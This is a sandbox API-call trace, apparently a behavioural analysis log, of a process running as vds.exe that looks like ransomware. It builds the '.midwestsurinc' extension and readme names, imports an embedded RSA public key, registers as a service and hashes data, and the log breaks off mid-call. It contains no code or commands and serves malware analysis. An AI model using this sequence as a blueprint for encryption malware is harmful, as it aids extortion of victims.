1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d258) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d5e8) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82850) returned 1 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2800) returned 0xf82850 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d5e8 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d258 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d268 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c240 [0033.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d278 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d288 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d618 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d298 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c168 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2d8 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1b0 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2c8 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1f8 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2e8 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5e8 [0033.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d258) returned 1 [0033.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c240) returned 1 [0033.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d268) returned 1 [0033.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d278) returned 1 [0033.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d288) returned 1 [0033.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d5e8) returned 1 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d5e8 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d288 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d278 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d268 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c240 [0033.854] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d258 [0033.855] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c168) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d298) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1b0) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2d8) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1f8) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2c8) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c5e8) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2e8) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d618) returned 1 [0033.855] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d618 [0033.855] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2e8 [0033.855] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5e8 [0033.855] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2c8 [0033.855] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1f8 [0033.855] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2d8 [0033.855] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1b0 [0033.855] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d298 [0033.855] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c168 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d288) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d278) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c240) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d268) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d258) returned 1 [0033.855] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d5e8) returned 1 [0033.855] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0xf82850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0033.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf82850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0033.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf82850, cbMultiByte=14, lpWideCharStr=0xf7dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0033.856] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0xf82850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0033.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf82850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0033.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf82850, cbMultiByte=10, lpWideCharStr=0xf7e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0033.856] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0xf82850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0033.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf82850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0033.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf82850, cbMultiByte=15, lpWideCharStr=0xf7e0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0033.856] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0xf82850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0033.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf82850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0033.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf82850, cbMultiByte=56, lpWideCharStr=0xf7e158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0033.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf85058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0033.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf85058, cbMultiByte=14, lpWideCharStr=0xf7e1e0, cchWideChar=14 | out: lpWideCharStr=".midwestsurinc") returned 14 [0033.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf85058, cbMultiByte=21, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0033.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf85058, cbMultiByte=21, lpWideCharStr=0xf7e268, cchWideChar=21 | out: lpWideCharStr=".midwestsurinc_readme") returned 21 [0033.856] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0 [0033.857] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0033.857] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0xf87cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0xf87cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0033.857] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xf87cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0033.861] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x280) returned 0xf87f40 [0033.861] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xf87cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0xf87f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0xf87f40, pcbStructInfo=0x18fd24) returned 1 [0033.861] CryptImportPublicKeyInfo (in: hCryptProv=0x601ec8, dwCertEncodingType=0x10001, pInfo=0xf87f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0xf87f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0xf87f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x606100) returned 1 [0033.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf87f40) returned 1 [0033.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf87cf8) returned 1 [0033.862] ReleaseMutex (hMutex=0xc4) returned 1 [0033.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf85058) returned 1 [0033.862] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2800) returned 0xf85058 [0033.862] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c900 [0033.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c900) returned 1 [0033.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf85058) returned 1 [0033.862] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2800) returned 0xf85058 [0033.862] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c900 [0033.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c900) returned 1 [0033.863] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c900 [0033.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0033.863] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e1e0 [0033.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c900, cbMultiByte=9, lpWideCharStr=0xf7e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0033.863] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e268 [0033.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7e1e0) returned 1 [0033.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7e268) returned 1 [0033.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c900) returned 1 [0033.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf85058) returned 1 [0033.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82850) returned 1 [0033.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d258) returned 1 [0033.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c240) returned 1 [0033.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d268) returned 1 [0033.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d278) returned 1 [0033.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d288) returned 1 [0033.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d5e8) returned 1 [0033.863] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0033.863] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) Thread: id = 348 os_tid = 0x320 Thread: id = 349 os_tid = 0x684 Thread: id = 350 os_tid = 0x248 Thread: id = 351 os_tid = 0x180 [0033.876] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x40ce51) returned 0x607fd0 [0033.876] SetServiceStatus (hServiceStatus=0x607fd0, lpServiceStatus=0x174ff4c*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0033.885] GetCommandLineW () returned="C:\\Windows\\System32\\vds.exe" [0033.885] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\vds.exe", pNumArgs=0x174ff38 | out: pNumArgs=0x174ff38) returned 0x5f2790*="C:\\Windows\\System32\\vds.exe" [0033.885] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d5e8 [0033.885] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d288 [0033.885] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e268 [0033.885] LocalFree (hMem=0x5f2790) returned 0x0 [0033.885] Wow64DisableWow64FsRedirection (in: OldValue=0x174ff34 | out: OldValue=0x174ff34*=0x0) returned 1 [0033.885] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x800) returned 0xf87cf8 [0033.885] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xf87cf8, nSize=0x200 | out: lpFilename="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe")) returned 0x1b [0033.885] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e1e0 [0033.885] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e2f0 [0033.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7e1e0) returned 1 [0033.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7e2f0) returned 1 [0033.885] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5c) returned 0xf7dd28 [0033.885] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e2f0 [0033.885] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e1e0 [0033.885] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e378 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e400 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e488 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e510 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e598 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e620 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e6a8 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e730 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e7b8 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e840 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf88500 [0033.886] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0xf88500, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0033.886] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88500) returned 1 [0033.886] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7e840) returned 1 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e840 [0033.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0xf7c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.886] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.886] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7e840) returned 1 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c240 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c900 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c948 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c990 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5000) returned 0xf82850 [0033.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c9d8 [0033.886] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c9d8) returned 1 [0033.886] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0033.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82850) returned 1 [0033.887] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5fce78, lpbSaclPresent=0x174fd68, pSacl=0x174fdbc, lpbSaclDefaulted=0x174fd68 | out: lpbSaclPresent=0x174fd68, pSacl=0x174fdbc, lpbSaclDefaulted=0x174fd68) returned 1 [0033.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c9d8 [0033.887] CreateEventA (lpEventAttributes=0x174fdb0, bManualReset=1, bInitialState=0, lpName="") returned 0x138 [0033.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c9d8) returned 1 [0033.887] GetLastError () returned 0x0 [0033.887] LocalFree (hMem=0x5fce78) returned 0x0 [0033.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c9d8 [0033.887] CryptAcquireContextW (in: phProv=0x174fda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174fda0*=0x60b478) returned 1 [0033.888] CryptCreateHash (in: hProv=0x60b478, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x174fda0 | out: phHash=0x174fda0) returned 1 [0033.888] CryptHashData (hHash=0x603778, pbData=0xf7c240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0033.888] CryptGetHashParam (in: hHash=0x603778, dwParam=0x4, pbData=0x174fda4, pdwDataLen=0x174fdb0, dwFlags=0x0 | out: pbData=0x174fda4, pdwDataLen=0x174fdb0) returned 1 [0033.888] CryptGetHashParam (in: hHash=0x603778, dwParam=0x2, pbData=0xf7c9d8, pdwDataLen=0x174fda4, dwFlags=0x0 | out: pbData=0xf7c9d8, pdwDataLen=0x174fda4) returned 1 [0033.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7ca20 [0033.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x184) returned 0xf88500 [0033.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7ca68 [0033.888] RtlAllocateHeap 